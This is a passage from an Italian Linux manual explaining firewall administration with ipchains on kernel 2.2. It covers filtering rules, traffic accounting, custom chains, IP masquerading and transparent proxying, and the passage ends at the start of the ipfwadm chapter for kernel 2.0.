Page 15: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 1999

Rappresentazione dell’origine e della destinazione

-s [ ! ] indirizzo[ / maschera]--source [ ! ] indirizzo[ / maschera]

Permette di definire l’origine dei pacchetti. L’indirizzo viene indicato generalmente informa numerica, anche se c’è la possibilità di usare un nome di dominio. La maschera,eventuale, serve a indicare un gruppo di indirizzi.

Se questo parametro viene omesso, si intende implicitamente‘ -s 0.0.0.0/0 ’ , ovvero‘ -s 0/0 ’ , che rappresenta tutti gli indirizzi possibili.

-d [ ! ] indirizzo[ / maschera]--destination [ ! ] indirizzo[ / maschera]

Permette di definire la destinazione dei pacchetti. L’indirizzo viene indicato generalmentein forma numerica, anche se c’è la possibilità di usare un nome di dominio. La maschera,eventuale, serve a indicare un gruppo di indirizzi.

Se questo parametro viene omesso, si intende implicitamente‘ -d 0.0.0.0/0 ’ , ovvero‘ -d 0/0 ’ , che rappresenta tutti gli indirizzi possibili.

Esempi

# ipchains -A input -s 192.168.100.0/24 -j DENY

Blocca tutto il traffico in ingresso proveniente dalla rete 192.168.100.* .

# ipchains -A input -s 192.168.100.0/24 -d 0/0 -j DENY

Esattamente come nell’esempio precedente.

# ipchains -A input -s 192.168.100.0/24 -d 0/0 -i eth0 -j DENY

Come nell’esempio precedente, specificando però che questo traffico in ingresso de-ve provenire dall’interfaccia‘eth0 ’ (se provenisse da un’altra interfaccia, non verrebbeintercettato da questa regola).

# ipchains -A input -d 192.168.100.0/24 -j DENY

Blocca tutto il traffico in ingresso che risulta destinato alla rete 192.168.100.* .

# ipchains -A input -s 0/0 -d 192.168.100.0/24 -j DENY

Esattamente come nell’esempio precedente.

# ipchains -A input -s 0/0 -d ! 192.168.100.0/24 -j DENY

Blocca tutto il traffico in ingresso che risulta destinato a indirizzi diversi dalla rete192.168.100.* .

# ipchains -A output -d 192.168.100.0/24 -j DENY

Blocca tutto il traffico in uscita che risulta destinato alla rete 192.168.100.* . Rispet-to all’applicazione di questa regola nelpunto di controllo di ingresso, in questo caso siimpedisce anche alfirewall stesso di accedere a questi indirizzi.

Page 16: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2000 Kernel Linux 2.2: firewall e mascheramento IP

180.2.3 Regole per i protocolli TCP e UDP

Il modo con cui si possono definire le regole necessarie a individuare i pacchetti, dipendono daltipo di protocollo utilizzato. Generalmente si è interessati maggiormente a controllare i protocolliTCP e UDP, che hanno in comune l’utilizzo delle porte.

Dovendo fare riferimento a un protocollo TCP o UDP si utilizza l’opzione‘ -p ’ , seguita dalla pa-rola chiave‘ tcp ’ o ‘udp ’ . Dal momento che i protocolli TCP e UDP utilizzano le porte, l’originee la destinazione possono includere questa informazione.

Le porte possono essere indicate in modo preciso (una soltanto), oppure attraverso un inter-vallo. Queste porte possono essere espresse attraverso un nome, come definito nel file‘ /etc/

services ’ , oppure per numero, cosa che di solito si preferisce per evitare ambiguità o malintesi.Gli intervalli di porte, in particolare, vengono espressi nella forma seguente:

porta_iniziale: porta_finale

Se si indica un intervallo, che si determina per la presenza dei due punti, se manca l’indicazionedella porta iniziale si intende in modo predefinito la numero zero, se invece manca quella finale siintende la porta 65535. Come nel caso degli indirizzi IP, l’indicazione della porta o dell’intervallodi queste può essere preceduta dal punto esclamativo in qualità di negazione logica.

Opzioni per i protocolli TCP e UDP

-s [ ! ] indirizzo[ / maschera] [ ! ] [ porta| intervallo_di_porte]

--source [ ! ] indirizzo[ / maschera] [ ! ] [ porta| intervallo_di_porte]

-d [ ! ] indirizzo[ / maschera] [ ! ] [ porta| intervallo_di_porte]

--destination [ ! ] indirizzo[ / maschera] [ ! ] [ porta| intervallo_di_porte]

Con i protocolli TCP e UDP, l’origine e la destinazione possono includere l’indicazionedelle porte.

[ ! ] -y | [ ! ] --syn

All’interno di una regola, fa in modo di identificare solo i pacchetti del protocollo TCPche hanno il bit SYN attivato, assieme ai bit ACK e FIN azzerati. Questo serve a isolare ipacchetti che nel protocollo TCP richiedono l’inizializzazione della connessione. In pratica,si tratta di un modo alternativo per bloccare una connessione TCP in un solo verso. Se siusa il punto esclamativo di negazione si intende fare riferimento a pacchetti diversi dal tipoSYN.

Esempi

# ipchains -A input -p tcp -s ! 192.168.0.0/16 ←→-d 192.168.0.0/16 80 -j REJECT

Impedisce l’accesso ai servizi HTTP (protocollo TCP, porta 80) della rete 192.168.* .* atutti gli indirizzi estranei alla rete stessa.

# ipchains -A input -p tcp -s ! 192.168.0.0/16 ←→-d 192.168.0.0/16 80 -y -j REJECT

Come nell’esempio precedente, limitandosi a intervenire nei pacchetti SYN.

Page 17: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 2001

180.2.4 Regole per il protocollo ICMP

Il protocollo ICMP è molto importante ai fini di controllo del funzionamento della rete; in questosenso è rara la possibilità che sia il caso di bloccarne il transito attraverso ilfirewall. Tuttavia,dal momento che i fini delfirewall non si limitano al blocco del traffico, è comunque importantepoter indicare una regola che sappia selezionare un tipo particolare di pacchetto ICMP. La tabella176.2elenca i tipi di pacchetto ICMP e il loro utilizzo.

Per indicare una regola che faccia riferimento a un tipo particolare di pacchetto ICMP, si sfruttanole opzioni che servono a specificare l’origine o la destinazione, aggiungendo il numero o il nomedel tipo ICMP. In pratica, questa informazione va a sostituire il numero di porta nel caso deiprotocolli TCP e UDP.

È estremamente importante che non vengano bloccati i messaggi ICMP di tipo 3.

Opzioni per il protocollo ICMP-s [ ! ] indirizzo[ / maschera] [ ! ] [ tipo]--source [ ! ] indirizzo[ / maschera] [ ! ] [ tipo]-d [ ! ] indirizzo[ / maschera] [ ! ] [ tipo]--destination [ ! ] indirizzo[ / maschera] [ ! ] [ tipo]

Come già accennato, con il protocollo ICMP l’origine e la destinazione possono includerel’indicazione del tipo di messaggio ICMP.

Esempi

# ipchains -A input -p icmp -s ! 192.168.0.0/16 8 ←→-d 192.168.0.0/16 -j DENY

Blocca e ignora i pacchetti ICMP che contengono un messaggio di tipo 8, cioè‘echo-request ’ , proveniente da un indirizzo estraneo alla rete 192.168.* .* e destinatoalla rete stessa.

180.2.5 Pacchetti frammentati

I pacchetti frammentati costituiscono un problema per la gestione delfirewall. In generale cisi limita a intervenire sul primo frammento, perché questo dovrebbe contenere le informazioninecessarie a identificarlo correttamente.

Se il firewall rappresenta un passaggio obbligato per il traffico che lo attraversa, è molto im-portante che sia abilitata la ricomposizione dei pacchetti frammentati. Questo risolve tantiproblemi e soprattutto quello del controllo dei frammenti.

Per identificare un frammento di pacchetto successivo al primo, si utilizza l’opzione‘ -f ’ nelmodo seguente:

[ ! ] -f | [ ! ] --fragment

Il punto esclamativo permette di ottenere l’effetto contrario, cioè di fare riferimento a tutti ipacchetti che non sono frammenti. Utilizzando questa opzione non è possibile indicare delleporte TCP o UDP, né specificare il tipo di messaggio per il protocollo ICMP.

Page 18: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2002 Kernel Linux 2.2: firewall e mascheramento IP

Esempi

# ipchains -A input -p icmp -s ! 192.168.0.0/16 ←→-d 192.168.0.0/16 -f -j DENY

Blocca e ignora i frammenti dei pacchetti ICMP provenienti da un indirizzo estraneo allarete 192.168.* .* e destinati alla rete stessa.

180.3 Esempi

Di seguito vengono mostrati altri esempi che dovrebbero aiutare a comprendere ancora meglio ilfunzionamento di unfirewall realizzato con GNU/Linux.

/sbin/ipchains -A forward -s 224.0.0.0/3 -d 0/0 -l -j DENY

Questa regola impedisce il transito di tutti quei pacchetti che provengono da un’origine in cuil’indirizzo IP sia composto in modo da avere i primi tre bit a uno. Infatti, 22410 si traduce nel nu-mero binario 111000002, che esclude tutta la classe D e la classe E degli indirizzi IPv4. Si osservil’aggiunta dell’opzione‘ -l ’ per ottenere l’annotazione nelregistro del sistema dei tentativi di at-traversamento. Segue la visualizzazione della regola attraverso‘ ipchains -L forward -n ’ ;si osservi la comparsa della lettera‘ l ’ nella colonna delle opzioni.

target prot opt source destination portsDENY all ----l- 224.0.0.0/3 0.0.0.0/0 n/a

/sbin/ipchains -A forward -s 224.0.0.0/3 -l -j DENY

Questo esempio è esattamente identico a quello precedente, perché la destinazione predefinita èproprio quella riferita a qualunque indirizzo.

/sbin/ipchains -A forward -p tcp -s 192.168.1.0/24 -d 0/0 23 -j ACCEPT

Consente ai pacchetti TCP provenienti dalla rete 192.168.1.0/255.255.255.0 di attraversa-re il firewall per raggiungere qualunque indirizzo, ma solo alla porta 23. In pratica con-cede di raggiungere un servizio TELNET. Segue la visualizzazione della regola attraverso‘ ipchains -L forward -n ’ .

target prot opt source destination portsACCEPT tcp ------ 192.168.1.0/24 0.0.0.0/0 any -> telnet

/sbin/ipchains -A forward -p tcp -s 0/0 6000:6009 -d 0/0 -l -j DENY/sbin/ipchains -A forward -p tcp -s 0/0 -d 0/0 6000:6009 -l -j DENY

Blocca il transito delle comunicazioni riferite alla gestione remota di applicazioni per X. In questocaso, si presume di poter avere a che fare con sistemi che gestiscono fino a 10serventi graficicontemporaneamente.

/sbin/ipchains -A input -p tcp -s 0/0 6000:6009 -d 0/0 -l -j DENY/sbin/ipchains -A output -p tcp -s 0/0 -d 0/0 6000:6009 -l -j DENY

Blocca l’ingresso e l’uscita di comunicazioni riferite alla gestione remota di applicazioni per X.Questo potrebbe essere utile per proteggere un sistema che non si avvale di unfirewall o chesemplicemente non si fida della rete circostante.

Page 19: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 2003

180.4 Contabilizzazione del traffico

Con i kernel Linux 2.2.* , la contabilizzazione del traffico è implicita nel sistema di filtro delfirewall: ogni regola che venga inserita in unpunto di controllo accumula i propri contatori.In questo senso possono essere opportune anche regole che non hanno l’indicazione di alcunobiettivo, in quanto utili solo per selezionare una parte del traffico ai fini contabili.

Con l’opzione ‘ -v ’ si può osservare il valore raggiunto dai vari contatori. Per esempio,disponendo di un’unica regola che cattura tutto il traffico in ingresso,

# ipchains -F input

# ipchains -A input

il comando

# ipchains -L input -v

potrebbe generare un rapporto simile a quello seguente:

pkts bytes target prot opt tosa tosx ifname mark outsize376 34968 - all ------ 0xFF 0x00 any

Si possono notare in particolare le colonne‘pkts ’ e ‘bytes ’ che si riferiscono rispettivamenteal numero di pacchetti IP e alla loro dimensione complessiva in byte. A fianco dei numeri cheesprimono queste quantità potrebbero essere aggiunte delle lettere che rappresentano dei multipli:‘K’ , ‘M’ e ‘G’ . È importante osservare che questi esprimono multipli del sistema di numerazionedecimale: 1000, 1000000 e 1000000000.1

L’azzeramento dei conteggi si ottiene con l’opzione di comando‘ -Z ’ (‘ --zero ’), che intervienein tutte le regole deipunti di controllo indicati. Questa può essere utilizzata anche assieme all’op-zione‘ -L ’ , in modo da non perdere informazioni; tuttavia, in questo caso, non è possibile indicareil nome di unpunto di controllo particolare e si deve intervenire su tutte le regole esistenti.

Esempi

# ipchains -L input -v

Mostra tutte le informazioni disponibili sulle regole di ingresso. Tra le altre cose mostraanche i contatori del traffico.

# ipchains -Z input

Azzera i conteggi riferiti alle regole di ingresso.

# ipchains -L -Z -v

Mostra tutte le informazioni disponibili di tutti ipunti di controllo (ed eventualmen-te anche di altri raggruppamenti di regole), compresi i conteggi che vengono azzeratiimmediatamente dopo.

1Bisogna ricordare comunque che ilSI specifica la lettera «k» minuscola come prefisso moltiplicatore che esprime ilvalore 103.

Page 20: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2004 Kernel Linux 2.2: firewall e mascheramento IP

180.5 Raggruppamenti di regole al di fuori dei punti dicontrollo standard

Oltre aipunti di controllo normali, è possibile definire delle raccolte di regole aggiuntive, a cui sipuò fare riferimento quasi come se fossero dellesubroutine di un linguaggio di programmazione.Queste raccolte vengono identificate da un nome, al quale si può fare riferimento attraverso altreregole in qualità di obiettivo. In pratica, una regola posta in unpunto di controllo può indicare unobiettivo corrispondente al nome di un altro raggruppamento di regole, che viene così a essereincorporato idealmente in quel punto.

Per comprendere il meccanismo, si supponga di avere creato la raccolta di regole (chain) de-nominata‘Prova ’ , con una regola all’interno delpunto di controllo di ingresso che vi facciariferimento. Per cominciare, le regole contenute all’interno di‘Prova ’ potrebbero essere:

target prot opt source destination ports- all ------ 192.168.1.0/24 0.0.0.0/0 n/a- all ------ 0.0.0.0/0 192.168.1.0/24 n/a- all ------ 0.0.0.0/0 127.0.0.1 n/a

Come si può osservare in questo caso, si tratta di regole che servono solo alla contabilizzazionedel traffico, dal momento che non sono stati indicati degli obiettivi.

Le regole di ingresso potrebbero essere quelle seguenti:

target prot opt source destination ports...Prova tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> *...

Si può osservare una regola il cui scopo è quello di individuare tutto il traffico TCP. Dal momentoche l’obiettivo di questa è il raggruppamento‘Prova ’ , i pacchetti che rientrano nella selezione diquesta regola vengono scomposti ulteriormente attraverso le regole del raggruppamento‘Prova ’ .I pacchetti che non vengono «catturati» da alcuna regola del raggruppamento‘Prova ’ tornano aessere presi in considerazione dalle regole successive nelpunto di controllo di ingresso.

La creazione di un raggruppamento di regole si ottiene con l’opzione di comando‘ -N ’(‘ --new-chain ’) e la sua eliminazione con‘ -X ’ (‘ --delete-chain ’). Per esempio, il comando

# ipchains -N Prova

serve a creare il raggruppamento‘Prova ’ a cui si accennava in precedenza. L’inserimento diregole avviene nel modo normale; per continuare a seguire gli esempi fatti, i comandi dovrebberoessere i seguenti:

# ipchains -A Prova -s 192.168.1.0/24

# ipchains -A Prova -d 192.168.1.0/24

# ipchains -A Prova -s 127.0.0.1

Così, l’inserimento della regola in ingresso che fa riferimento a questo raggruppamento, comemostrato dagli esempi in precedenza, si indica semplicemente con il comando seguente:

# ipchains -A input -p tcp -j Prova

L’eliminazione di un raggruppamento di regole è ammissibile solo quando questo è vuoto equando non esistono più riferimenti da parte di altre regole neipunti di controllo normali.

# ipchains -D input -p tcp -j Prova

Page 21: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 2005

# ipchains -F Prova

# ipchains -X Prova

I comandi mostrati sopra servono rispettivamente a eliminare la regola di ingresso che facevariferimento al raggruppamento‘Prova ’ , a svuotare il raggruppamento e infine a eliminarlo.

180.6 Mascheramento IP

Attraverso ilmascheramento IP si fa in modo di mostrare all’esterno che l’origine delle connes-sioni è sempre ilnodo che esegue questo compito, anche quando in realtà si tratta di unnodointerno alla rete privata. Naturalmente, ilnodo che esegue ilmascheramento è poi in grado didistinguere quali siano stati inodimascherati che hanno originato la connessione, girando a loroi pacchetti di loro competenza.

Figura 180.2. Mascheramento IP..---------------.| filtro di | Rete privata mascherata

- - - ------------------| mascheramento |-------*-----------*-------- - - -Rete pubblica | IP | | |(Internet) ‘---------------’ .--------. .--------.

| host | | host |‘--------’ ‘--------’

In linea di principio, inodi collocati nella rete privatamascherata, sono in grado di accedereall’esterno, per mezzo delmascheramento degli indirizzi, mentre dall’esterno potrebbe mancarel’instradamento verso talinodi. In effetti, quando la rete privatamascherata utilizza indirizzi IPesclusi dalla rete pubblica, tale instradamento (dall’esterno verso l’interno) non può esistere.

L’attivazione nelkernel delle funzionalità dimascheramento richiede prima di tutto che sianostate attivate quelle difirewall, assieme a quelle di ricomposizione dei pacchetti frammentati(nello stesso modo già visto nella sezioni dedicate al filtro di pacchetto IP), dove in particolaresia stata poi aggiunta anche quella dimascheramento (sezione29.2.9).

180.6.1 ipchains per l’amministrazione del mascheramento

Attualmente (con ikernel 2.2.* ), la gestione delmascheramento IP delkernel è un’estensione diquella del filtro di pacchetto IP, che deve essere attivata espressamente attraverso‘ ipchains ’ ,utilizzando il punto di controllo di inoltro,‘ forward ’ , assieme a una politica di accettazione(‘ACCEPT’) con l’aggiunta dell’indicazione che si tratta dimascheramento per mezzo dell’obiet-tivo ‘MASQ’ . La cosa si può rappresentare schematicamente attraverso il modello seguente checomunque potrebbe essere esteso o precisato meglio.

ipchains -A | -I forward -s indirizzi_da_mascherare-d 0/0 -j MASQ

Ricapitolando quindi, ilmascheramento si ottiene definendo una regola nelpunto di controllo diinoltro, in cui sia stato attivato ilmascheramento dell’origine nei confronti della destinazione.

180.6.2 Mascheramento in pratica

In generale, ilmascheramento IP si utilizza per consentire a una rete privata, che utilizza indirizziIP esclusi daInternet, di accedere all’esterno. In questa situazione potrebbe essere sensata ugual-mente una strategia di difesa attraverso le funzionalità di filtro già discusse nelle sezioni dedica-te a questo argomento, perché dall’esterno, qualcuno potrebbe creare un proprio instradamentoverso la rete privata.

Page 22: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2006 Kernel Linux 2.2: firewall e mascheramento IP

In ogni caso, la situazione comune per ilmascheramento IP è quella dello schema che appare infigura180.3. L’interfaccia di rete delnodo dimascheramento connessa alla rete privata (‘eth0 ’ )deve avere un indirizzo IP che appartenga a tale spazio; inoltre deve essere stato previsto uninstradamento corretto. L’altra interfaccia, quella rivolta verso la rete pubblica (‘ppp0 ’), avrà unindirizzo IP pubblico, mentre l’instradamento dovrà essere quello predefinito.

Figura 180.3. Esempio di mascheramento di una rete privata.

.---------------. 192.168.1.0ppp0 | | eth0 Rete privata mascherata

- - - ------------------| mascheramento |-------*-----------*-------- - - -Rete pubblica | IP | | |(Internet) ‘---------------’ .--------. .--------.

| host | | host |‘--------’ ‘--------’

In questa situazione, la regola che consente alla rete privata di raggiungere l’esterno può esseredefinita con uno dei due comandi seguenti: il primo è un esempio approssimativo, mentre ilsecondo fa un riferimento esplicito agli indirizzi esterni in modo che non coincidano con quelliinterni.

/sbin/ipchains -A forward -s 192.168.1.0/24 -d 0/0 -j MASQ

/sbin/ipchains -A forward -s 192.168.1.0/24 -d ! 192.168.1.0/24 -j MASQ

Visualizzando la regola attraverso‘ ipchains -L forward -n ’ , si ottiene una tra le dueinformazioni seguenti (a seconda del comando prescelto).

Chain forward (policy ACCEPT):target prot opt source destination portsMASQ all ------ 192.168.0.0/16 0.0.0.0/0 n/a

Chain forward (policy ACCEPT):target prot opt source destination portsMASQ all ------ 192.168.0.0/16 !192.168.0.0/16 n/a

Si è accennato al fatto che non si può escludere che qualcuno voglia provare a definire un proprioinstradamento verso la rete privata che in condizioni normali dovrebbe essere irraggiungibiledall’esterno. Per questo, conviene escludere esplicitamente il traffico nella direzione opposta,oppure semplicemente definire che la politica predefinita delfirewall deve essere‘DENY’ .

#!/bin/sh/sbin/ipchains -P forward DENY/sbin/ipchains -A forward -s 192.168.1.0/24 -d 0/0 -j MASQ

180.7 Proxy trasparente

Il proxy trasparente, o transparent proxy, è una funzionalità attraverso la quale si fa in mododi ridirigere il traffico (TCP) verso un servizioproxy delnodo locale, quando altrimenti sarebbediretto verso altrinodi, a porte determinate.

Il kernel Linux fornisce questa funzionalità come estensione di quelle di filtro dei pacchetti IP; maper farlo deve essere aggiunta esplicitamente la gestione di questa caratteristica (sezione29.2.9).

Naturalmente, per attivare un sistema diproxy trasparente occorre ilproxy. In effetti, il vantaggiodi usare questo sistema al posto delmascheramento IP sta proprio nell’inserzione di unproxy,possibilmente di unacache proxy, per ridurre il traffico nella connessione con la rete pubblica. Inquesto modo, il software utilizzato neinodi della rete privata non ha bisogno di essere configuratoper inviare tutte le sue richieste alproxy, ma quando i pacchetti tentano di raggiungere l’esterno,allora vengono presi in considerazione da questo.

Page 23: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 2007

180.7.1 ipchains per il proxy trasparente

La ridirezione attraverso cui si ottiene ilproxy trasparente si definisce esclusivamente per mezzodel punto di controllo di ingresso,‘ input ’ , specificando una porta di ridirezione con l’obiettivo‘REDIRECT’ . Considerato che ilproxy trasparente viene usato normalmente solo per il protocolloTCP, la sintassi di‘ ipchains ’ per questo scopo si traduce nello schema seguente:

ipchains -A | -I input -p tcp -s origine -d destinazione porte-j REDIRECT porta_locale

Quello che si ottiene è che il traffico proveniente dagli indirizzi previsti, diretto verso le destina-zioni indicate, complete dell’informazione sulle porte, viene ridiretto alla porta specificata dopol’obiettivo ‘REDIRECT’ nelnodo locale.

180.7.2 Proxy trasparente in pratica

Un proxy trasparente può funzionare solo se il traffico relativo deve attraversarlo per forza. Per-tanto, si può attivare questa funzionalità solo in unrouter, che eventualmente può fungere sia dafirewall che daproxy trasparente. Di conseguenza, ilproxy per il quale il servizio viene avviato,deve risiedere fisicamente nello stesso elaboratore che svolge il ruolo dirouter o difirewall.

Figura 180.4. Il proxy trasparente deve essere attraversato dal traffico che poi lì puòessere ridiretto verso il proxy locale.

.---------------.| Proxy | Rete privata mascherata

- - - ------------------| trasparente |-------*-----------*-------- - - -Rete esterna | | | |

‘---------------’ .--------. .--------.| host | | host |‘--------’ ‘--------’

Lo scopo delproxy trasparente può essere semplicemente quello di «obbligare» a utilizzare unacache proxy, senza importunare gli utenti pretendendo da loro che configurino gli applicativiper questo, oppure può essere il modo attraverso cui si definisce unfirewall proxy, impedendol’attraversamento delproxy per mezzo del filtro di pacchetto IP.

A titolo di esempio viene mostrato in che modo si potrebbe ridirigere il traffico di una rete localecon indirizzi 192.168.1.0/24, quando questo è rivolto alla porta 80, cioè a un servizio HTTP,verso la porta locale 8080 (tipica di unacache proxy).

/sbin/ipchains -A input -p tcp \-s 192.168.1.0/24 -d ! 192.168.1.0/24 80 -j REDIRECT 8080

Come si può intendere, il comando è stato suddiviso su due righe per motivi tipografici.Visualizzando la regola attraverso‘ ipchains -L input ’ , si ottiene l’informazione seguente:

Chain input (policy ACCEPT):target prot opt source destination portsREDIRECT tcp ------ 192.168.0.0/24 !192.168.0.0/24 any -> 80 => 8080

Naturalmente, ilproxy trasparente può essere combinato anche con ilmascheramento IP, per cui,dato l’esempio già visto, si potrebbe anche aggiungere l’istruzione seguente:

/sbin/ipchains -A forward -s 192.168.0.0/24 -d ! 192.168.0.0/24 -j MASQ

Page 24: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2008 Kernel Linux 2.2: firewall e mascheramento IP

180.8 Riferimenti

• Paul Russell,Linux IPCHAINS-HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Terry Dawson,Linux NET-3-HOWTO, Linux Networking

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Mark Grennan,Firewalling and Proxy Server HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 25: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 181

Kernel Linux 2.0: firewall e mascheramento IPLe funzionalità difirewall e dimascheramento IP, essendo incorporate nelkernel, devono essereabilitate prima della compilazione (sezione29.2.9).

È importante osservare che quando si utilizza il sistema del filtro di pacchetto IP, è necessarioconsentire il transito dei pacchetti attraverso ilfirewall, abilitando in pratica le funzionalità diinoltro dei pacchetti (forwarding/gatewaying) come nel caso di unrouter normale. Una voltainserita nelkernel la funzionalità diforwarding/gatewaying, questa può essere controllata attra-verso un file delfile system virtuale‘ /proc/ ’ . Generalmente, tale funzionalità viene disabili-tata espressamente, per motivi di sicurezza, dallaprocedura di inizializzazione del sistema. Perriattivare l’inoltro tra le interfacce di rete, si può agire nel modo seguente:

# echo 1 > /proc/sys/net/ipv4/ip_forward

181.1 ipfwadm per l’amministrazione del firewall

La gestione del filtro di pacchetto IP deikernel 2.0.* viene regolata attraverso il programma‘ ipfwadm ’ (IP firewall administration). Non potendo gestire un file di configurazione per questefunzionalità delkernel, tutto quello che si può fare è la realizzazione di unoscript contenente unaserie di comandi con‘ ipfwadm ’ .

‘ ipfwadm ’ interviene su unelenco di regoleriferite alle funzionalità difirewall del kernel; unpo’ come avviene con la tabella degli instradamenti di unrouter. L’ordine in cui sono elencatetali regole è importante, quindi si deve poter distinguere tra l’inserimento di una regola all’inizioo alla fine dell’elenco esistente.

Salvo eccezioni particolari, che verranno descritte nel contesto opportuno, la sintassi per l’utilizzodi ‘ ipfwadm ’ è quella seguente:

ipfwadm categoria_di_intervento comando parametri[ opzioni]

La categoria di intervento di‘ ipfwadm ’ è rappresentata da una sigla che serve a stabilire a cosasi riferisce la regola definita attraverso gli argomenti successivi.

• ‘ -I ’

Definisce una regola riferita al traffico in ingresso.

• ‘ -O ’

Definisce una regola riferita al traffico in uscita.

• ‘ -F ’

Definisce una regola riferita al traffico in transito attraverso ilfirewall (forward).

181.2 Comandi principali per la gestione del firewall conipfwadm

Dopo l’indicazione della categoria di intervento per‘ ipfwadm ’ , deve essere indicato un coman-do, cioè un tipo di opzione più o meno articolato che stabilisce l’azione da compiere all’internodella regola che viene definita.

2009

Page 26: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2010 Kernel Linux 2.0: firewall e mascheramento IP

Alcuni comandi

-f

Cancella tutte le regole riferite alla categoria di intervento indicata anteriormente.

Se si utilizza il comando‘ -f ’ , non possono essere indicati né parametri, né opzioni, datoil significato che assume l’istruzione.

-l

Emette attraverso lostandard output le regole riferite della categoria di intervento indicata.

Se si utilizza il comando‘ -l ’ , non possono essere indicati dei parametri (a parte lapossibilità di utilizzare anche il comando‘ -z ’ , che riguarda però la contabilizzazionedei dati in transito), mentre qualche opzione può essere aggiunta.

-a accept | deny| reject

-i accept | deny| reject

Inserisce la regola definita dai parametri e dalle opzioni successive, alla fine (‘ -a ’ , append),oppure all’inizio (‘ -i ’ , insert) dell’elenco.

Quando si tratta di una regola difirewall, è obbligatoria l’indicazione di una politica rap-presentata da una parola chiave:‘accept ’ , ‘deny ’ o ‘ reject ’ . Il significato dovrebbe es-sere intuitivo: accettare, rifiutare o rigettare i pacchetti che soddisfano la definizione fattaattraverso i parametri successivi.

La differenza tra‘deny ’ e ‘ reject ’ sta nel fatto che, nel primo caso il rifiuto è silenzio-so, mentre nel secondo viene generata una segnalazione di errore inviata all’origine delpacchetto.

-d accept | deny| reject parametri

Permette di eliminare una regola dal gruppo appartenente alla categoria specificata. Per ot-tenere la sua eliminazione, occorre indicare la stessa politica e gli stessi parametri utilizzatiper crearla.

-p accept | deny| reject

Serve a definire una politica predefinita, riferita alla categoria selezionata, per tutte lesituazioni che non corrispondono ad alcuna regola indicata espressamente.

In generale, se non viene definito diversamente, la politica predefinita è‘accept ’ . Ciòè necessario perché il sistema possa funzionare comerouter quando non viene stabilitonulla al riguardo del filtro dei pacchetti IP.

181.3 Parametri principali

Le opzioni sono gli argomenti di‘ ipfwadm ’ che definiscono la regola, che generalmente si vuoleaggiungere. Prima di descrivere la sintassi di questi parametri, è bene chiarire alcune convenzioniche vengono utilizzate.

La definizione di un gruppo di indirizzi IP può essere fatta attraverso l’indicazione di una coppianumero_ip/maschera, con una barra obliqua di separazione tra i due. La maschera può essere

Page 27: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.0: firewall e mascheramento IP 2011

indicata nel modo consueto, oppure con un numero che esprime la quantità di bit iniziali da porreal valore uno.

Quando si vuole fare riferimento a indirizzi imprecisati, si utilizza solitamente l’indirizzo 0.0.0.0,che può essere indicato anche in forma simbolica attraverso la parola chiave‘any ’ . Nello stessomodo il gruppo di indirizzi 0.0.0.0/0, cioè ogni indirizzo, può essere rappresentato nei rapporti(quelli che si ottengono con il comando‘ -l ’) con la parola chiave‘anywhere ’ .

Alcune regole possono fare riferimento all’utilizzo di porte, o intervalli di porte particolari (qui sitrascura volontariamente il problema dei pacchetti ICMP). Queste porte possono essere espresseattraverso un nome, come definito nel file‘ /etc/services ’ , oppure per numero, cosa che disolito si preferisce per questo tipo di applicazione. Gli intervalli di porte, in particolare, vengonoespressi nella forma seguente:

porta_iniziale: porta_finale

